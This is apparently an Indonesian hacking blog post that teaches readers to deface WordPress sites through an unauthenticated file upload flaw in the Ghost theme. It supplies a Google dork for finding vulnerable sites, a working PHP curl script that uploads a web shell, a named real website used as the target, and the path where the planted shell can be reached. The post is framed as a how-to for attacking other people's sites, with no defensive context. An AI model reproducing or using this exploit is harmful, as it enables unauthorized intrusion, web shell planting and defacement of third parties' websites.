Deface Menggunakan WordPress Ghost theme File Upload

Assalamualaikum , kali ini saya akan share Deface Menggunakan WordPress Ghost theme File Upload

Exploit Aslinya Disini http://1337day.com/exploit/21416

1. Download XAAMP nya Disini HERE
2. Install XAMMP



Google Dork :

  inurl:wp-content/themes/Ghost/

Jika Sudah terinstall kamu buka PHP.ini , cek di System C > xammp > php > php.ini

Lalu tekan CTRL+F lalu ketikkan curl lalu hapus tanda titik dua koma ( ; )

Sekarang Kamu Copy Kan Exploitnya

<?php

$uploadfile="yourFile.php";

$ch = curl_init("http://{target}/wp-content/themes/Ghost/includes/uploadify/upload_settings_image.php");

curl_setopt($ch, CURLOPT_POST, true); 

curl_setopt($ch, CURLOPT_POSTFIELDS,

        array('Filedata'=>"@$uploadfile"));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

?>




Lalu Simpan dengan namafile.php untuk nama bisa kamu pake sembarangan , disini saya akan simpan dengan Nama x.php

Sekarang , kamu copykan file shell kamu , Disini nama shell saya adalah a.php

Lalu , Kamu buka cmd , dan ketikkan cd\

ketikkan cd xammp [enter] dan cd php [enter]

Sekarang kita akan mengexploitkan targetnya disini saya dapat targetnya yaitu 

http://retotarahumara.com/

Sekarang Kamu Tambahkan dengan ini 

/wp-content/themes/Ghost/includes/uploadify/upload_settings_image.php

Jadi websitenya akan menjadi 

http://retotarahumara.com/wp-content/themes/Ghost/includes/uploadify/upload_settings_image.php

Lalu Jika Muncul {"status":"NOK", "ERR":"This file is incorect"} Berarti Vuln 

Kembali ke CMD , ketikkan php namafile.php lalu Enter 

Jika muncul seperti itu maka Exploit Succes :))

Untuk shell Acces berada disini http:///wp-content/uploads/settingsimages/a.php

 

 

 

 

Semoga Bermanfaat

 

Sumber : dumaicodes

Tags : Cara untuk Meretas sebuah Komputer,trick Hack Komputer Super Jail,Cara Mematikan Komputer Orang Lain,Cara Mengendalikan Komputer Jarak Jauh,Cara Meretas Komputer Orang Lain,Cara Hack Komputer Orang Lain,Cara Meretas Komputer Orang dari Jarak Jauh,Cara memantau Komputer lain dengan Command Prompt,Cara hack komputer remote menggunakan IP,Trik Hack Komputer yang Sangat Berbahaya,Dasar-dasar Meretas,Dasar-dasar Hack,

Share this article please, on :

Share on fb Tweet Share on G+